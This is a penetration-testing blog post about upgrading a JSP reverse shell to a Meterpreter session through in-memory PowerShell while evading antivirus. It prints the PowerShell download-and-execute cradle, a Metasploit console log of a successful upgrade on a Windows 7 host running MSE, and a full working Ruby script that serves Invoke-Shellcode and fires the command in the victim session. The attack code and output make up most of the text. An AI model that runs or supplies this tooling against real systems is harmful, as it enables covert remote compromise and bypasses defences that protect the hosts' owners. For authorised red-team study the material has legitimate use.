meterpreter shell upgrades using powershell

One of my primary goals during development of clusterd was ensuring reliability and covertness during remote deploys. It’s no secret that antivirus routinely eats vanilla meterpreter shells. For this, the --gen-payload flag generates a war file with java/jsp_shell_reverse_tcp tucked inside. This is used due to it being largely undetected by AV, and our environments are perfectly suited for it. However, Meterpreter is a fantastic piece of software, and it’d be nice to be able to elevate from this simple JSP shell into it.

Metasploit has a solution for this, sort of. sessions -u can be used to upgrade an existing shell session into a full-blown Meterpreter. Unfortunately, the current implementation uses Rex::Exploitation::CmdStagerVBS, which writes the executable to disk and executes it. This is almost always immediately popped by most enterprise-grade (and even most consumer grade) AV’s. For this, we need a new solution.

The easiest solution is Powershell; this allows us to execute shellcode completely in-memory, without ever bouncing files against disk. I used Obscure Security’s canonical post on it for my implementation. The only problem really is portability, as Powershell doesn’t exist on Windows XP. This could be mitigated by patching in shellcode via Java, but that’s another post for another time.

Right, so how’s this work? We essentially execute a Powershell command in the running session (our generic shell) that fetches a payload from a remote server and executes it. Our payload in this case is Invoke-Shellcode, from the PowerSploit package. This bit of code will generate our reverse HTTPS meterpreter shell and inject it into the current process ID. Our command looks like this:

cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc %s"

Our encoded payload is:

iex (New-Object Net.WebClient).DownloadString('http://%s:%s/')

IEX, or Invoke-Expression, is just an eval operation. In this case, we’re fetching a URL and executing it. This is a totally transparent, completely in-memory solution. Let’s have a look at it running:

msf exploit(handler) > sessions -l

Active sessions
===============

  Id  Type         Information                                                                       Connection
  --  ----         -----------                                                                       ----------
  1   shell linux  Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation...  192.168.1.6:4444 -> 192.168.1.102:60911 (192.168.1.102)

msf exploit(handler) > 

We see above that we currently have a generic shell (it’s the java/jsp_shell_reverse_tcp payload) on a Windows 7 system (which happens to be running MSE). Using this new script, we can upgrade this session to Meterpreter:

msf exploit(handler) > sessions -u 1

[*] Started HTTPS reverse handler on https://0.0.0.0:53568/
[*] Starting the payload handler...
[*] 192.168.1.102:60922 Request received for /INITM...
[*] 192.168.1.102:60922 Staging connection for target /INITM received...
[*] Patched user-agent at offset 663128...
[*] Patched transport at offset 662792...
[*] Patched URL at offset 662856...
[*] Patched Expiration Timeout at offset 663728...
[*] Patched Communication Timeout at offset 663732...
[*] Meterpreter session 2 opened (192.168.1.6:53568 -> 192.168.1.102:60922) at 2014-03-11 23:09:36 -0600
msf exploit(handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer        : BRYAN-PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64 (Current Process is WOW64)
System Language : en_US
Meterpreter     : x86/win32
meterpreter > 

And just like that, without a peep from MSE, we’ve got a Meterpreter shell.

You can find the code for this implementation below, though be warned; this is PoC quality code, and probably even worse as I’m not really a Ruby developer. Meatballs over at Metasploit has a few awesome Powershell pull requests waiting for a merge. Once this is done, I can implement that here and submit a proper implementation. If you’d like to try this out, simply create a backup copy of scripts/shell/spawn_meterpreter.rb and copy in the following, then reload. You should be upgradin’ and bypassin’ in no time.

#
# Session upgrade using Powershell IEX
# 
# Some code stolen from jduck's original implementation
#
# -drone
#

class HTTPServer
    #
    # Using Ruby HTTPServer here since this isn't a module, and I can't figure
    # out how to use MSF libs in here
    #
    @sent = false
    def state
        return @sent
    end

    def initialize(port, body)
        require 'socket'

        @sent = false
        @server = Thread.new do
            server = TCPServer.open port
            loop do
                client = server.accept
                content_type = "text/plain"
                client.puts "HTTP/1.0 200 OK\r\nContent-type: #{content_type}"\
                            "\r\nContent-Length: #{body.length}\r\n\r\n#{body}"\
                            "\r\n\r\n"
                sleep 5
                client.close
                kill
            end
        end
     end

     def kill!
        @sent = true
        @server.kill
     end

     alias :kill :kill!
end

#
# Returns if a port is used by a session
#
def is_port_used?(port)
    framework.sessions.each do |sid, obj|
       local_info = obj.instance_variable_get(:@local_info)
       return true if local_info =~ /:#{port}$/
    end

    false
end

def start_http_service(port)
    @server = HTTPServer.new(port, @pl)
end

def wait_payload

    waited = 0
    while (not @server.state)
        select(nil, nil, nil, 1)
        waited += 1
        if (waited > 10) # MAGIC NUMBA
            @server.kill
            raise RuntimeError, "No payload requested"
        end
    end
end

def generate(host, port, sport)
    require 'net/http'

    script_block = "iex (New-Object Net.WebClient).DownloadString('http://%s:%s/')" % [host, sport]
    cmd = "cmd.exe /c PowerShell.exe -Exec ByPass -Nol %s" % script_block

    # generate powershell payload
    url = URI.parse('https://raw.github.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1')
    req = Net::HTTP::Get.new(url.path)
    http = Net::HTTP.new(url.host, url.port)
    http.use_ssl = true

    res = http.request(req)

    if !res or res.code != '200'
      raise RuntimeError, "Could not retrieve Invoke-Shellcode"
    end

    @pl = res.body
    @pl << "\nInvoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost %s -Lport %s -Force" % [host, port]
    return cmd
end


#
# Mimics what MSF already does if the user doesn't manually select a payload and lhost
#
lhost = framework.datastore['LHOST']
unless lhost
  lhost = Rex::Socket.source_address
end

#
# If there is no LPORT defined in framework, then pick a random one that's not used
# by current sessions. This is possible if the user assumes module datastore options
# are the same as framework datastore options.
#
lport = framework.datastore['LPORT']
unless lport
  lport = 4444 # Default meterpreter port
  while is_port_used?(lport)
    # Pick a port that's not used
    lport = [*49152..65535].sample
  end
end

# do the same from above, but for the server port
sport = [*49152..65535].sample
while is_port_used?(sport)
    sport = [*49152..65535].sample
end

# maybe we want our sessions going to another instance?
use_handler = true
use_handler = nil if (session.exploit_datastore['DisablePayloadHandler'] == true)

#
# Spawn the handler if needed
#
aborted = false
begin

  mh = nil
  payload_name = 'windows/meterpreter/reverse_https'
  if (use_handler)
      mh = framework.modules.create("exploit/multi/handler")
      mh.datastore['LPORT'] = lport
      mh.datastore['LHOST'] = lhost
      mh.datastore['PAYLOAD'] = payload_name
      mh.datastore['ExitOnSession'] = false
      mh.datastore['EXITFUNC'] = 'process'
      mh.exploit_simple(
        'LocalInput'     => session.user_input,
        'LocalOutput'    => session.user_output,
        'Payload'        => payload_name,
        'RunAsJob'       => true)
      # It takes a little time for the resources to get set up, so sleep for
      # a bit to make sure the exploit is fully working.  Without this,
      # mod.get_resource doesn't exist when we need it.
      select(nil, nil, nil, 0.5)
      if framework.jobs[mh.job_id.to_s].nil?
        raise RuntimeError, "Failed to start multi/handler - is it already running?"
      end
    end

    # Generate our command and payload
    cmd = generate(lhost, lport, sport)

    # start http service
    start_http_service(sport)

    sleep 2 # give it a sec to startup

    # execute command
    session.run_cmd(cmd)

    if not @server.state
        # wait...
        wait_payload
    end

rescue ::Interrupt
  # TODO: cleanup partial uploads!
  aborted = true
rescue => e
  print_error("Error: #{e}")
  aborted = true
end

#
# Stop the job
#
if (use_handler)
  Thread.new do
    if not aborted
      # Wait up to 10 seconds for the session to come in..
      select(nil, nil, nil, 10)
    end
    framework.jobs.stop_job(mh.job_id)
  end
end